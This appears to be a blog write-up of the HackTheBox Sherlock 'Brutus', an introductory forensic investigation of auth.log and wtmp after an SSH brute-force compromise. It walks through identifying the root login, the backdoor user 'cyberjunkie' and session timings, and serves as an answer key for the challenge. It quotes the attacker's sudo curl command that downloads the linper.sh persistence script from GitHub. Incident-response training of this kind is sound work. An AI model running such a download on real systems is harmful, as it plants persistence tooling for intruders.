Sitemap

Brutus

HackTheBox Sherlocks

--

Scenario

In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.

Tools: None

Introduction:

Auth.log : Authentication log that keeps track of login attempts successful or not into the system. We an check whose accessing the system and if there was an unauthorized attempts to get in

Wtmp: Who logged in and keeps track of all users currently logged into the system, when they logged in when they logged out to track user activities and unusual login pattern

Difference:

Auth Log keeps track on attempts whether successful or not while wtmp keeps track on who's already in

Task 1:

Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

After opening auth.log, I quickly noticed a session opened by user cyberjunkie SSH with a weird port.

Task 2:

The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

Went through the Brute Force SSH output message about the failed password till I reached ‘Accepted password for root’!

cat auth.log | grep 'Accepted'
Press enter or click to view image in full size

Task 3

Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

We know they logged as root, then created their own user and group. After the attacker logged in as the newly created user ‘cyberjunkie’ and installed linper.sh on the victim machine

Get Genshi’s stories in your inbox

Join Medium for free to get updates from this writer.

For this, I learnt a new command ‘WHO’ and ‘utmpdump’ to get more information from the wtmp file. Considering that the question is to get the manually logged into the server it wouldn't be ‘cyberjunkie’.

who wtmp

utmpdump wtmp
Press enter or click to view image in full size

Task 4

SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?

cat auth.log | grep 'New session'6
Press enter or click to view image in full size

Task 5:

The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

cyberjunkie

Task 6:

What is the MITRE ATT&CK sub-technique ID used for persistence?

I did find ‘create account’ in persistence which explains what happened to stay logged in and log back whenever the user wants.

Press enter or click to view image in full size

Task 7:

How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

We know that the first session happened at 6:32:44 and it was disconnected on 06:37:24 so whats the second difference? even though i calculated 280 seconds the answer was 279

Task 8:

The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Press enter or click to view image in full size

--

--